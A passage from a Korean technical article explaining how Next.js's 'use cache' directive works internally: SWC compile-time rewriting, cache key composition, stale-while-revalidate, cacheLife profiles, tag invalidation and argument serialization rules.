**둘째, 수명이 다르다.** `useMemo`는 컴포넌트 unmount와 함께 사라지고, `React.cache`는 응답이 끝나면 사라진다. `'use cache'`는 cacheHandler가 정한 만큼 산다 — 기본 in-memory 저장은 self-hosted 환경이라면 요청 사이에 유지될 수 있지만, serverless 환경에서는 인스턴스 교체·메모리 제약·eviction의 영향을 받는다. 외부 cache handler(`use cache: remote` 또는 `cacheHandlers` 설정)를 쓰면 인스턴스 간 공유와 지속성을 얻는 대신 네트워크 왕복과 비용이 추가된다. 단, **새 deploy에서는 buildId가 바뀌어 이전 캐시 엔트리를 hit하지 않는다** — 같은 함수로 같은 인자를 호출해도 키가 달라지므로 사실상 무효화된다.

이 두 차이가 다른 모든 차이의 뿌리다. 직렬화 가능한 인자만 받을 수 있는 것도, `cookies()`/`headers()`를 직접 호출할 수 없는 것도, 클로저 변수가 자동으로 키에 포함되는 것도, 모두 "프로세스를 넘나드는 키-값 저장소에 안전하게 저장 가능한 함수"라는 모델에서 따라 나온다.

다시 말해 `'use cache'`는 **함수 호출을 캐시 엔트리 lookup으로 치환**하는 마커다. 같은 cache key로 다시 호출되면, 엔트리가 fresh 또는 stale로 사용 가능한 한 본문을 다시 실행하지 않고 캐시 계층에서 응답한다. 이 치환을 빌드 타임에 코드로 박아넣는 것이 SWC의 일이다.

## 빌드 타임 변환: SWC가 함수를 다시 쓴다

`'use cache'`를 만나면 Next.js는 함수를 그대로 두지 않는다. SWC[^1]가 함수를 캐시 래퍼 호출로 다시 쓴다. 이 변환은 `'use server'`가 함수를 server reference로 바꾸는 것과 동일한 파이프라인(`server_actions.rs`)을 공유한다.

원본:

```tsx
// app/products/data.ts
async function getProducts(filter: string) {
  'use cache'
  return db.products.findMany({where: {filter}})
}
```

SWC가 변환한 모양 (개념적으로):

```tsx
// $$cache0$$는 hoisted된 원본 본문
async function $$cache0$$([], filter) {
  return db.products.findMany({where: {filter}})
}

// 원본 위치는 래퍼 호출로 치환
const getProducts = $$reactCache__(
  'default', // cache_kind
  '<sha1-of-file-export>', // function ID
  0, // bound arg count
  $$cache0$$,
)
```

핵심은 네 가지다.

**1. 함수 본문이 hoist된다.** 원본 함수 본문은 모듈 최상위로 끌어올려져 별도의 익명 함수가 된다. 이건 `'use server'`의 처리와 같은 패턴이다.

**2. 첫 번째 인자는 항상 bound args 배열이다.** 클로저로 참조하던 외부 변수가 있으면, SWC는 그것을 추출해서 첫 번째 배열 인자로 넘긴다. 이게 [공식 문서가 말하는](https://nextjs.org/docs/app/api-reference/directives/use-cache#cache-keys) "closure variables become part of the cache key"의 실체다. 클로저는 마법이 아니라 SWC가 컴파일 타임에 명시적인 인자로 끌어내는 변환이다.

```tsx
// 원본
async function Component({userId}: {userId: string}) {
  const getData = async (filter: string) => {
    'use cache'
    return fetch(`/api/users/${userId}/data?filter=${filter}`)
  }
  return getData('active')
}

// 변환 후 (개념적)
async function $$cache0$$([userId], filter) {
  return fetch(`/api/users/${userId}/data?filter=${filter}`)
}

async function Component({userId}) {
  const getData = $$reactCache__('default', '<id>', 1, $$cache0$$, userId)
  //                                              └─ bound count: userId 하나
  return getData('active')
}
```

`userId`는 클로저로 잡혀있던 변수지만, 변환 후에는 `$$cache0$$`의 첫 번째 인자(bound array)에 들어간다. 캐시 키 입장에서는 다른 인자와 똑같이 직렬화되어 해시에 포함된다.

**3. 함수 ID는 함수의 위치·시그니처에 묶인 secure hash다.** Next.js v16.2.4 소스 기준, SWC의 `generate_server_reference_id`[^2]는 hash salt + 파일명 + export/reference name을 SHA1로 묶고, 캐시 함수 여부와 인자 사용 정보(argument mask)를 담은 바이트를 ID에 포함한다. 같은 함수라도 파일이 바뀌거나 export 이름이 바뀌면 다른 ID가 된다. 다만 **deploy 단위의 전체 무효화는 함수 ID가 아니라 캐시 키에 포함된 buildId가 담당**한다 — 코드 변경 → 새 빌드 → 새 buildId → 모든 엔트리 미스, 가 정상 흐름이다.

**4. cache_kind가 같이 박힌다.** `'use cache'`는 `'default'`로, `'use cache: private'`은 `'private'`으로, `'use cache: remote'`는 `'remote'`로 변환된다. 이 문자열이 런타임 래퍼의 분기 키다.

### 파일 레벨 vs 함수 레벨

`'use cache'`는 파일 맨 위에도, 함수 본문 첫 줄에도 둘 수 있다. 두 위치는 동일한 SWC 패스가 처리하지만 결과는 다르다.

```tsx
// 파일 레벨
'use cache'

export async function getA() {
  return ...
}
export async function getB() {
  return ...
}
```

파일 레벨이면 **모든 export 함수가 개별적으로 래핑된다**. 단, 제약이 하나 있다 — 모든 export는 async function이어야 한다. 동기 함수가 섞여있으면 SWC가 에러를 던진다. 이유는 단순하다. 캐시 lookup은 본질적으로 비동기(IO)이고, 캐시 미스 시 generateCacheEntry는 결과를 얻기 위해 await가 필요하다.

```tsx
// 함수 레벨
export async function getA() {
  'use cache'
  return ...
}

export async function getB() {
  // 이 함수는 캐시되지 않음
  return ...
}
```

함수 레벨이면 그 함수만 래핑된다. 같은 파일 안에서 캐시되는 함수와 안 되는 함수를 섞을 수 있다.

### `'use cache: private'`과 `'use cache: remote'`

세 가지 변형은 `cache_kind` 문자열만 다르고 SWC 변환 자체는 같다. 차이는 런타임 래퍼가 받는 분기 인자와, 그 분기가 만드는 저장 모델이다.

```tsx
async function getRecommendations(productId: string) {
  'use cache: private'
  cacheLife({stale: 60})
  const sessionId = (await cookies()).get('session-id')?.value || 'guest'
  return getPersonalizedRecommendations(productId, sessionId)
}
```

`private`은 `cookies()`/`headers()`/`searchParams`를 허용하는 유일한 변형이다. 그러나 **결과는 서버에 저장되지 않는다**. 공식 문서는 이 동작을 명확히 정의한다 — "results are never stored on the server, they're cached only in the browser's memory and do not persist across page reloads". 즉 서버 측 dedup 효과는 없다. **이 함수는 매 서버 렌더마다 실행**되고, static shell 생성에서도 제외된다. 그 결과를 클라이언트가 browser memory에 보관해서 같은 페이지의 같은 컴포넌트가 reload 없이 재방문될 때 재사용할 뿐이다.

게다가 `'use cache: private'`은 **custom cache handler를 설정할 수 없다**. Route Handler에서도 사용 불가다. v16 시점 experimental 상태이며, 의존하는 runtime prefetching 자체가 stable이 아니다. 컴플라이언스 요구사항이나, request 데이터를 인자로 빼기가 정말 어려운 레거시 코드에 한정해 쓰는 도구다.

> `private`이라는 이름이 "사적인 캐시"가 아니라 "공유 불가능한 캐시"를 뜻한다고 읽는 편이 정확하다. 다른 사용자가 못 보는 게 아니라 — 애초에 서버에 저장되지 않는다.

따라서 `private`은 서버 부하를 줄이는 캐시라기보다, runtime prefetching과 클라이언트 라우터 재방문 최적화에 가깝다. **서버 함수 실행을 줄이는 도구로 보면 안 된다** — 매 서버 렌더마다 본문이 그대로 실행된다.

```tsx
async function getProductPrice(productId: string, currency: string) {
  'use cache: remote'
  cacheTag(`product-price-${productId}`)
  cacheLife({expire: 3600})
  return db.products.getPrice(productId, currency)
}
```

`remote`는 반대로 **서버 측 외부 캐시 핸들러에 저장**된다 — 모든 인스턴스가 공유하는 durable cache다. 공식 문서는 remote의 사용 동기를 명확히 좁힌다.

- Rate-limited APIs (upstream에 호출 한도가 있는 경우)
- Slow backends (DB가 트래픽에 병목이 되는 경우)
- Expensive operations (반복하기 비싼 쿼리/연산)
- Flaky services (가끔 실패하는 외부 서비스)

같은 문서가 **피해야 하는 경우**도 명시한다.

- 이미 데이터 계층 앞에 KV store가 있어 `'use cache'`로 충분한 경우
- 50ms 미만 빠른 연산
- 캐시 키가 거의 매 요청마다 unique한 경우 (검색 필터, 가격 범위, 사용자별 파라미터)
- **데이터가 seconds~minutes 단위로 자주 바뀌는 경우** — 캐시 hit이 곧 stale이 되어 이득이 작다

이 마지막 항목이 중요하다. "서버리스에서 짧은 TTL은 remote가 정답"으로 단순화하면 안 된다. remote의 가치는 짧은 TTL 자체가 아니라 **공유**에 있다 — 공유했을 때 의미 있는 작업(rate limit 회피, upstream 보호)이 있을 때 효과가 난다.

기본 `'use cache'`는 in-memory 저장과 RDC를 함께 쓴다. static shell 생성과 일반 데이터 캐싱의 기본값이며, 가장 흔한 케이스다. 세 변형의 저장 모델 차이를 표로 정리하면:

| 변형                   | 서버 저장                    | 클라이언트 저장       | request API 직접 접근 | 공유 범위          |
| ---------------------- | ---------------------------- | --------------------- | --------------------- | ------------------ |
| `'use cache'`          | in-memory 또는 cache handler | router prefetch cache | 불가 (인자로 추출)    | 모든 사용자가 공유 |
| `'use cache: remote'`  | remote cache handler         | router prefetch cache | 불가 (인자로 추출)    | 모든 사용자가 공유 |
| `'use cache: private'` | **저장 안 함**               | 브라우저 메모리       | 가능                  | 클라이언트 본인    |

세 변형은 중첩(nesting) 규칙도 다르다.

- `remote` 안에 `remote`는 **가능**하다.
- 기본 `'use cache'` 안에 `remote`도 **가능**하다 (request 타임에 deferred되면 inner remote가 동작한다).
- `private` 안에 `remote`는 **불가능**하다.
- `remote` 안에 `private`도 **불가능**하다.

이 규칙은 저장 위치가 섞일 때 생기는 일관성 문제를 피하기 위한 제약이다. 특히 `private`은 브라우저 메모리 캐시이고 `remote`는 서버 측 공유 캐시이므로, 두 경계를 한 호출 트리 안에 섞으면 의미가 모호해진다. nesting 위반은 빌드 시점에 에러가 난다.

## 런타임: 캐시 래퍼가 무엇을 하는가

빌드 타임에 박힌 `$$reactCache__`는 결국 `packages/next/src/server/use-cache/use-cache-wrapper.ts`[^3]의 `cache()` 함수를 가리킨다. 이 함수가 **모든 `'use cache'` 호출이 통과하는 단일 진입점**이다.

흐름은 이렇다.

```text
1. 인자 직렬화 → encodeReply (Flight)
2. 캐시 키 구성 → [buildId, id, args, hmrRefreshHash?]
3. ResumeDataCache(RDC) 조회
4. (없으면) cacheHandler 조회
5. (없으면) generateCacheEntry로 본문 실행
6. stale-while-revalidate: 만료됐으면 백그라운드 재생성
7. 결과 반환 + RDC/cacheHandler에 저장
```

각 단계를 풀어본다.

### 캐시 키 구성

코드의 핵심 한 줄[^3]은 다음과 같다.

```tsx
const cacheKeyParts: CacheKeyParts = hmrRefreshHash
  ? [buildId, id, args, hmrRefreshHash]
  : [buildId, id, args]
```

네 가지 요소를 보자.

- **buildId**: Next.js 빌드마다 새로 생성되는 ID. 다음 deploy에서 모든 캐시가 자동으로 무효화되는 이유다.
- **id**: SWC가 박아넣은 SHA1 함수 ID. 같은 코드의 같은 함수면 같은 ID, 함수가 옮겨지거나 이름이 바뀌면 다른 ID.
- **args**: 호출 시점의 인자 배열. 첫 번째 원소는 SWC가 추출한 bound args, 나머지는 호출 시 인자.
- **hmrRefreshHash**: dev 모드에서만 존재. HMR이 일어날 때마다 갱신되는 해시. 코드를 고치면 캐시가 자동으로 무효화되어 옛 결과가 stale하게 남지 않는다.

이 네 요소를 합쳐 직렬화하고 해시한 것이 최종 캐시 키다.

### 인자 직렬화: encodeReply

`args`를 그대로 키로 쓸 수는 없다. 객체 참조로는 비교가 안 되니까 직렬화가 필요하다. Next.js는 React의 `encodeReply`[^4]를 그대로 사용한다 — `'use server'`가 클라이언트에서 서버로 인자를 보낼 때 쓰는 그 함수다.

```tsx
import {encodeReply} from 'react-server-dom-webpack/client.edge'

const encodedArgs = await encodeReply(args)
```

`encodeReply`는 React의 Flight 직렬화기다. JSON보다 강력해서 다음을 지원한다.

- 원시값: `string`, `number`, `boolean`, `null`, `undefined`
- 일반 객체와 배열
- `Date`, `Map`, `Set`, `BigInt`, `TypedArray`, `ArrayBuffer`, `FormData`
- React element (pass-through 한정)

지원 안 되는 것:

- 클래스 인스턴스 (메서드 + 프로토타입을 직렬화 못 함)
- 일반 함수 (서버 함수 reference는 OK, pass-through 한정)
- `Symbol`, `WeakMap`, `WeakSet`
- `URL` 인스턴스 (의외다 — 문자열로 바꿔서 넘겨야 한다)

직렬화 결과는 보통 `FormData`가 된다. 키로 쓸 문자열로 만들기 위해 한 단계 더 정규화한다 — `encodeFormData`가 각 필드를 길이 prefix로 묶어 단일 문자열로 직렬화한다. 이렇게 만든 결과를 buildId/id와 함께 해시하면 최종 캐시 키가 된다.

> **인자와 리턴값의 직렬화기는 다르다.** 인자는 Server Component serialization (엄격), 리턴값은 Client Component serialization (JSX 허용). 이 비대칭 때문에 **JSX는 인자로는 받을 수 없지만 리턴값으로는 가능**하다. pass-through로 받는 `children` prop은 직렬화하지 않는 우회로다 — 본문에서 introspect하지 않는 한 그대로 출력에 끼워넣을 수 있다.

### 두 단계 lookup: RDC → cacheHandler

키가 만들어지면 lookup이 시작된다. 기본 `'use cache'`의 흐름은 다음과 같다 (RDC는 내부 구현 명칭이며 public API가 아님을 다시 짚어둔다).

```tsx
// 1단계: Resume Data Cache (페이지 렌더 단위 in-process)
const cached = lookupResumeDataCache(prerenderResumeDataCache, serializedKey)
if (cached) return cached

// 2단계: cacheHandler (in-memory 또는 외부 핸들러)
if (cacheHandler) {
  const entry = await cacheHandler.get(serializedKey)
  if (entry && !shouldDiscardCacheEntry(entry)) {
    return entry
  }
}

// 3단계: 둘 다 미스 → 본문 실행
return generateCacheEntry(...)
```

**RDC**는 한 페이지 렌더 동안만 살아있는 in-process Map이다. 같은 캐시 함수가 한 페이지 안에서 여러 번 호출되면, RDC가 첫 호출 결과를 두 번째부터 즉시 돌려준다. cacheHandler 호출조차 일어나지 않는다.

**cacheHandler**는 요청을 넘어 사용되는 캐시다. 기본 구현은 in-memory 저장이며, `next.config.ts`의 `cacheHandlers` 옵션으로 외부 핸들러로 갈아끼울 수 있다.

```ts
// next.config.ts
const config = {
  cacheComponents: true,
  cacheHandlers: {
    default: require.resolve('./cache-handler.js'),
  },
}
```

세 변형이 이 흐름과 어떻게 다른지 정리하면.

- 기본 `'use cache'`는 RDC와 cacheHandler를 모두 사용한다.
- `'use cache: remote'`는 platform이 제공하는 remote 핸들러를 사용한다 (custom handler도 `cacheHandlers`로 설정 가능).
- `'use cache: private'`은 위 흐름을 거의 타지 않는다. 서버 cacheHandler에 저장되지 않고, 매 서버 렌더마다 본문이 실행된다. 결과는 서버 응답을 통해 클라이언트의 브라우저 메모리 캐시로 흘러가 한 세션 안에서만 재사용된다.

### 엔트리 생성: generateCacheEntryImpl

미스가 나면 본문을 실행해야 한다. 그냥 `await fn(...args)`로 끝나면 좋겠지만 — 안 그렇다.

```tsx
async function generateCacheEntryImpl(...) {
  const isPrerender = workStore.isPrerender

  const stream = isPrerender
    ? await prerender(/* 50초 timeout */)
    : await renderToReadableStream(/* dynamic */)

  const {revalidate, expire, stale, tags} = await collectResult(stream)

  return {stream, revalidate, expire, stale, tags, timestamp: Date.now()}
}
```

핵심은 두 가지다.

**1. 본문 실행은 RSC 스트림을 만든다.** 캐시 함수의 리턴값은 React element일 수 있어야 하므로(컴포넌트로도 쓰니까), 일반 값이든 JSX든 `renderToReadableStream`을 통과해 Flight payload 스트림이 된다. 캐시에 저장되는 건 이 스트림이다 — 다음 호출은 스트림을 재생(replay)해 같은 React 노드를 만들어낸다.

**2. 메타데이터를 같이 수집한다.** 본문이 실행되는 동안 `cacheLife()`/`cacheTag()` 호출이 있을 수 있다. 이 호출들은 ALS(AsyncLocalStorage) 기반의 `workUnitStore`에 값을 누적한다. 본문 실행이 끝난 뒤 `collectResult`가 그 값을 모아 엔트리에 같이 묶는다.

prerender 모드에서는 50초 타임아웃이 걸린다. 이 안에 끝나지 않으면 빌드가 hang했다는 뜻이다. 보통 원인은 — `cookies()` 같은 런타임 데이터를 캐시 함수가 await하고 있어서 빌드 타임에는 영원히 resolve되지 않는 경우다. 후반부 [함정 절](#함정들)에서 다시 다룬다.

### Stale-while-revalidate

엔트리에는 `revalidate`와 `expire`가 함께 저장된다. 다음 호출에서 두 값이 어떻게 작동하는지가 SWR의 핵심이다.

```tsx
const age = Date.now() - entry.timestamp

if (age < entry.revalidate * 1000) {
  // fresh: 그대로 반환
  return entry
}

if (age < entry.expire * 1000) {
  // stale: 캐시를 즉시 반환하면서 백그라운드 재생성
  void generateCacheEntry({skipPropagation: true, ...})
  return entry
}

// expired: 동기적으로 다시 생성 후 반환
return await generateCacheEntry(...)
```

세 구간이 있다.

- **fresh** (`age < revalidate`): 캐시가 그대로 응답.
- **stale** (`revalidate ≤ age < expire`): 캐시를 응답하되, 백그라운드에서 재생성을 트리거. 이 사이 다음 호출들은 새 엔트리를 받는다.
- **expired** (`age ≥ expire`): 캐시를 못 쓴다. 동기적으로 재생성 후 응답.

`skipPropagation: true`는 백그라운드 재생성에서 외부 cache로 메타데이터(태그/revalidate)가 다시 propagate되지 않게 막는 플래그다 — 첫 번째 생성 때 이미 propagate됐으니까 중복하지 않는다.

## cacheLife: 7개 빌트인 프로필

`revalidate`/`expire`/`stale` 세 숫자는 어디서 오는가? 디폴트는 `default` 프로필이고, `cacheLife()`를 부르면 다른 프로필로 바뀐다.

| 프로필    | 용도              | `stale` (client) | `revalidate` (server) | `expire` |
| --------- | ----------------- | ---------------- | --------------------- | -------- |
| `default` | 일반 콘텐츠       | 5분              | 15분                  | 무한     |
| `seconds` | 실시간 데이터     | 30초             | 1초                   | 1분      |
| `minutes` | 분 단위 갱신      | 5분              | 1분                   | 1시간    |
| `hours`   | 하루 여러 번 갱신 | 5분              | 1시간                 | 1일      |
| `days`    | 일 단위 갱신      | 5분              | 1일                   | 1주      |
| `weeks`   | 주 단위 갱신      | 5분              | 1주                   | 30일     |
| `max`     | 거의 안 바뀜      | 5분              | 30일                  | 1년      |

세 숫자의 의미는 각각 다르다.

- **`stale`**: 클라이언트 라우터가 서버에 안 물어보고 그대로 보여줄 시간. 응답의 `x-nextjs-stale-time` 헤더로 클라이언트에 전달된다. **30초 미만은 강제로 30초로 올라간다** — prefetch된 링크가 사용자 클릭 전에 만료되지 않게 막는 안전장치다.
- **`revalidate`**: 서버 캐시가 fresh로 보일 시간. 이 시간이 지나면 SWR이 발동한다.
- **`expire`**: 더 이상 stale도 아닌 시간. 이 시간이 지나면 동기적으로 재생성된다.

> `stale`이 5분으로 동일한 게 의외인데, 이유가 있다. `stale`은 클라이언트 라우터의 prefetch 캐시 유지 시간이다. 서버 데이터 갱신 주기(`revalidate`)와 별개다. 사용자 네비게이션 패턴에 맞춘 값이라 콘텐츠 갱신 빈도와 무관하게 5분이 합리적이다.

### 인라인 프로필

프리셋이 안 맞으면 객체로 직접 넘긴다.

```tsx
async function getOffer() {
  'use cache'
  cacheLife({
    stale: 60, // 1분
    revalidate: 300, // 5분
    expire: 3600, // 1시간
  })
  return db.offers.findFirst()
}
```

`expire`는 반드시 `revalidate`보다 커야 한다. 아니면 빌드 시점에 에러가 난다. 빈 객체 `cacheLife({})`는 `default` 값을 쓴다.

### 커스텀 프로필

`next.config.ts`에서 이름을 만들어 둘 수 있다.

```ts
const config = {
  cacheComponents: true,
  cacheLife: {
    biweekly: {
      stale: 60 * 60 * 24 * 14,
      revalidate: 60 * 60 * 24,
      expire: 60 * 60 * 24 * 14,
    },
  },
}
```

이걸로 `cacheLife('biweekly')` 호출이 가능해진다. 빌트인 이름과 같은 이름을 쓰면 빌트인을 덮어쓴다 — `days`를 재정의하고 싶으면 `cacheLife: {days: {...}}`를 두면 된다.

### Nested cacheLife: 누가 이기는가

캐시 함수 안에서 다른 캐시 함수를 부르면, 외부 cacheLife와 내부 cacheLife가 충돌할 수 있다. 룰이 미묘하다.

**외부에 명시적 `cacheLife`가 있는 경우 — 외부가 이긴다.** 내부 lifetime이 더 짧든 길든 외부가 우선한다.

```tsx
async function Dashboard() {
  'use cache'
  cacheLife('hours') // 외부 명시 → 1시간

  return <Widget /> // Widget이 'minutes'(5분)이라도 Dashboard 캐시는 1시간
}
```

이유는 단순하다. 외부 캐시 엔트리가 hit되면 **내부 결과까지 포함한 통째 output**이 그대로 반환된다. 내부 캐시 함수는 호출되지도 않으므로 내부 lifetime은 외부 hit 동안 관측되지 않는다. 외부가 1시간 동안 fresh로 살면, 그 1시간 동안 내부의 5분 lifetime은 의미가 없다.

**외부에 명시적 `cacheLife`가 없는 경우 — 내부가 외부의 default를 깎을 수 있다.**

```tsx
async function Dashboard() {
  'use cache'
  // cacheLife 없음 → default (15분)

  return <Widget /> // Widget이 'minutes' 5분이면, Dashboard도 5분으로 깎임
}
```

명시적 호출이 없으면 외부는 default 프로필(15분)을 사용한다. 그러나 내부 cache의 lifetime이 그보다 짧으면 외부 default lifetime이 그 값으로 줄어든다. 반대 방향(내부가 길다고 외부를 늘리기)은 일어나지 않는다 — default 15분이 유지된다.

이 동작이 내부 구현에서 어떻게 일어나는지 보면, ALS의 `workUnitStore` 변수에 minimum propagation이 적용되어 있다[^5]. 단 이 minimum 룰은 **외부에 명시적 `cacheLife`가 없을 때만** 의미가 있다. 외부에 명시 호출이 있으면 propagation이 발동해도 외부 lifetime이 우선하도록 처리된다.

```tsx
// 단순화한 propagation 의도
if (outerStore.hasExplicitCacheLife) {
  // 외부 명시 — propagation 무시
} else if (innerStore.explicitRevalidate < outerStore.implicitRevalidate) {
  outerStore.implicitRevalidate = innerStore.explicitRevalidate
}
```

따라서 실무 권장은 — **모든 캐시 함수에 `cacheLife`를 명시하라**. 명시하면 외부가 자기 값을 지키고, nested의 짧은 lifetime이 의도치 않게 흘러내리는 일이 없다.

### 짧은 nested cache의 prerender 에러

`revalidate`이 5분 미만이거나 0이면, Next.js는 그 캐시를 prerender에서 제외한다. 대신 **dynamic hole**이 된다 — 빌드 타임이 아니라 요청 타임에 채워진다. `seconds` 프로필이 자동으로 dynamic이 되는 이유다.

문제는 짧은 캐시가 다른 캐시 안에 nested됐을 때다.

```tsx
async function ShortLivedWidget() {
  'use cache'
  cacheLife('seconds') // 1초마다 갱신
  return <div>{await fetchRealtimeData()}</div>
}

async function Page() {
  'use cache'
  // cacheLife 없음 → 위의 propagation 룰로 outer도 'seconds'가 됨
  return (
    <div>
      <h1>Dashboard</h1>
      <ShortLivedWidget />
    </div>
  )
}
```

이 코드는 빌드 시 에러를 던진다. 이유는 — outer Page도 dynamic hole로 흘러내리는데, 이게 의도인지 실수인지 모르기 때문이다. Next.js가 안전을 위해 명시를 강제한다.

해결 방법은 두 가지다.

**(a) outer를 명시적으로 길게 만든다 (outer는 prerender 유지):**

```tsx
async function Page() {
  'use cache'
  cacheLife('default') // 명시 → propagation 차단
  return (
    <div>
      <h1>Dashboard</h1>
      <ShortLivedWidget /> {/* dynamic hole */}
    </div>
  )
}
```

**(b) outer도 명시적으로 짧게 만든다 + Suspense:**

```tsx
async function Content() {
  'use cache' // 또는 환경에 따라 'use cache: remote'
  cacheLife('seconds')
  return <ShortLivedWidget />
}

export default function Page() {
  return (
    <Suspense fallback={<p>Loading...</p>}>
      <Content />
    </Suspense>
  )
}
```

여기서 `'use cache'`와 `'use cache: remote'`의 선택은 환경에 따라 갈린다. self-hosted라면 in-memory 저장이 요청 사이에 유지되므로 `'use cache'`로도 dedup이 일어난다. serverless에서는 인스턴스가 매번 다를 수 있어 in-memory 저장의 hit rate가 낮고, 인스턴스 간 공유가 의미를 주는 시나리오라면 `'use cache: remote'`가 후보가 된다. 단 [앞서 봤듯이](#use-cache-private과-use-cache-remote) 데이터가 1초 단위로 자주 바뀌면 remote도 hit이 곧 stale이 되어 이득이 작을 수 있으므로, **공유에서 오는 명확한 동기**(rate limit 회피, upstream 보호, 비싼 연산의 재사용)가 있을 때만 remote를 쓴다.

## cacheTag와 태그 기반 무효화

`cacheTag(...)`는 캐시 엔트리에 태그를 붙인다. 이 태그를 키로 나중에 무효화할 수 있게 만드는 메타데이터다.

```tsx
async function getProducts() {
  'use cache'
  cacheTag('products')
  return db.products.findMany()
}

async function getProduct(id: string) {
  'use cache'
  cacheTag('products', `product-${id}`)
  return db.products.findUnique({where: {id}})
}
```

룰 몇 가지.

- 한 캐시 엔트리에 여러 태그를 달 수 있다. `cacheTag('a', 'b')` 또는 `cacheTag('a'); cacheTag('b')`.
- 같은 태그를 두 번 달아도 한 번 단 것과 같다 (idempotent).
- 태그 1개 최대 256자, 1개 엔트리에 최대 128개.

태그를 무효화하는 방법은 `revalidateTag`와 `updateTag` 두 가지다. 그런데 **`revalidateTag`는 두 번째 인자에 따라 의미가 갈린다는 점**을 먼저 짚어야 한다 — 인자 없이 부르는 형태는 deprecated이며, SWR이 아니다.

| 호출 형태                         | 호출 가능 위치               | 의미                              | 다음 요청의 응답                           |
| --------------------------------- | ---------------------------- | --------------------------------- | ------------------------------------------ |
| `revalidateTag(tag, 'max')`       | Server Action, Route Handler | stale 마크 + SWR (권장)           | stale 응답 + 백그라운드 재생성             |
| `revalidateTag(tag, {expire: 0})` | Server Action, Route Handler | 즉시 만료 (webhook/외부 트리거용) | fresh 생성을 blocking으로 기다림           |
| `revalidateTag(tag)`              | (deprecated)                 | 즉시 만료 + blocking revalidate   | fresh 생성을 기다림                        |
| `updateTag(tag)`                  | **Server Action 전용**       | 즉시 만료                         | fresh 생성을 기다림 (read-your-own-writes) |

`revalidateTag(tag, 'max')`가 현재 권장되는 SWR 호출이다. 캐시를 stale로 마크하고, 그 태그가 달린 페이지가 다음에 방문될 때 stale 응답을 즉시 주면서 백그라운드에서 fresh를 생성한다. 사용자는 한 박자 늦게 갱신을 본다.

`'max'` 자리에는 다른 cacheLife 프로필 이름도 들어갈 수 있다 — 커스텀 프로필도 가능하다. webhook이나 외부 시스템이 즉시 만료를 요구하면 `{expire: 0}` 객체를 두 번째 인자로 넣는다. 그 외 즉시 만료가 필요한 일반 케이스는 Server Action에서 `updateTag`를 쓰는 편이 권장된다.

**단일 인자 `revalidateTag(tag)`는 deprecated다.** legacy 동작은 즉시 만료 + blocking revalidate에 가깝고, 이름과 달리 SWR이 아니다. TypeScript 에러를 무시하면 아직 동작하지만 향후 제거될 수 있다. 이미 단일 인자로 부르고 있다면 — webhook이나 Route Handler라면 `revalidateTag(tag, 'max')` 또는 `{expire: 0}`로, Server Action이라면 `updateTag`로 마이그레이션이 필요하다.

`updateTag`는 캐시를 즉시 폐기한다. 다음 요청은 stale 응답을 받지 못하고 fresh 생성을 기다려야 한다. 대신 **read-your-own-writes 보장**이 된다.

```tsx
'use server'

export async function createPost(formData: FormData) {
  const post = await db.posts.create({data: formData})

  updateTag('posts') // 즉시 폐기
  updateTag(`post-${post.id}`)

  redirect(`/posts/${post.id}`) // 사용자는 자기가 만든 post를 본다
}
```

이게 `updateTag`가 Server Action 전용인 이유다. Server Action은 mutation이고, mutation 직후의 redirect/refresh는 사용자 자신이 만든 변화를 봐야 한다. 그 사이에 SWR이 끼면 한 번은 옛 데이터를 보여주게 되니까, 그건 안 된다는 것.

Route Handler에서 `updateTag`를 부르면 에러가 난다. Route Handler는 일반적으로 webhook 같은 외부 트리거 용도이며, mutation 컨텍스트가 명확하지 않아 read-your-own-writes 보장이 의미가 없다 — 그래서 SWR 의미인 `revalidateTag(tag, 'max')`나 즉시 만료가 필요하면 `{expire: 0}`을 쓰는 것이 적합하다는 가정이다.

> 실무적으로는, 호출 위치(Server Action vs Route Handler)와 의미(SWR vs read-your-own-writes vs immediate expire)를 한 번 결정해두면 어떤 함수를 쓸지 자동으로 정해진다. `revalidateTag(tag)` 단일 인자는 어느 경우에도 의도 표현이 모호하므로 더 이상 쓰지 않는다.

## 직렬화 규칙: 인자와 리턴값

`'use cache'` 함수의 인자와 리턴값은 직렬화 가능해야 한다. 그런데 두 쪽이 **다른 직렬화 시스템**을 쓴다는 게 함정이다.

### 인자: Server Component serialization (엄격)

`encodeReply`로 직렬화된다. 받을 수 있는 타입.

- 원시값
- 일반 객체, 배열
- `Date`, `Map`, `Set`, `BigInt`
- `TypedArray`, `ArrayBuffer`
- `FormData`
- React element (단, **pass-through 한정** — 본문에서 introspect하지 않을 때만)

받을 수 없는 타입.

- 클래스 인스턴스
- 일반 함수 (Server Action은 pass-through 가능)
- `Symbol`, `WeakMap`, `WeakSet`
- `URL`

### 리턴값: Client Component serialization (느슨)

위의 모든 것 + JSX element.

이 비대칭이 흔한 혼동의 원인이다. 컴포넌트의 children은 인자(prop)인데, JSX는 인자로 받기 어렵다 — pass-through가 아니면. 다음 코드는 동작한다.

```tsx
async function Cached({children}: {children: ReactNode}) {
  'use cache'
  // children을 introspect하지 않고 그대로 출력에 넣는다 → pass-through
  return <div className="wrapper">{children}</div>
}
```

이 코드는 동작하지 않는다.

```tsx
async function Cached({children}: {children: ReactNode}) {
  'use cache'
  // children을 분석하려 함 → introspect
  if (Children.count(children) > 0) {
    // ...
  }
}
```

**pass-through의 의미는 "받았지만 본문에서 안 봤다"**. 본문에서 children을 분기 조건으로 쓰거나 자식의 props를 읽으면 더 이상 pass-through가 아니다 — 그러면 children이 캐시 키에 영향을 주는 셈이고, JSX는 키 직렬화가 불가능하니 에러가 난다.

Server Action도 같은 패턴이다.

```tsx
async function Page() {
  const action = async () => {
    'use server'
    await db.update(...)
  }

  return <Cached action={action} />
}

async function Cached({action}: {action: () => Promise<void>}) {
  'use cache'
  // action을 호출하지 않고 그대로 client에 넘긴다 → pass-through
  return <ClientButton action={action} />
}
```

Server Action 자체는 일반 함수가 아니라 server reference (메타데이터 객체)다. pass-through는 가능하지만 캐시 함수 본문에서 호출하면 안 된다.

## 런타임 API 제약

`'use cache'`는 `cookies()`, `headers()`, `searchParams`, 그리고 그 밖의 request-scoped API를 직접 호출할 수 없다. 부르면 에러가 난다.

```tsx
async function CachedProfile() {
  'use cache'
  const session = (await cookies()).get('session')?.value // Error
  return <div>{session}</div>
}
```

이유는 명확하다 — 캐시는 요청 간 공유되는데, request-scoped 데이터를 키 없이 캐시에 박으면 다른 사용자가 남의 데이터를 보게 된다. 보안 기본기 차원에서 막혀있다.

세 가지 우회로가 있다.

### (1) 인자로 빼서 전달 (권장)

```tsx
async function ProfilePage() {
  const session = (await cookies()).get('session')?.value
  return <CachedProfile sessionId={session} />
}

async function CachedProfile({sessionId}: {sessionId: string}) {
  'use cache'
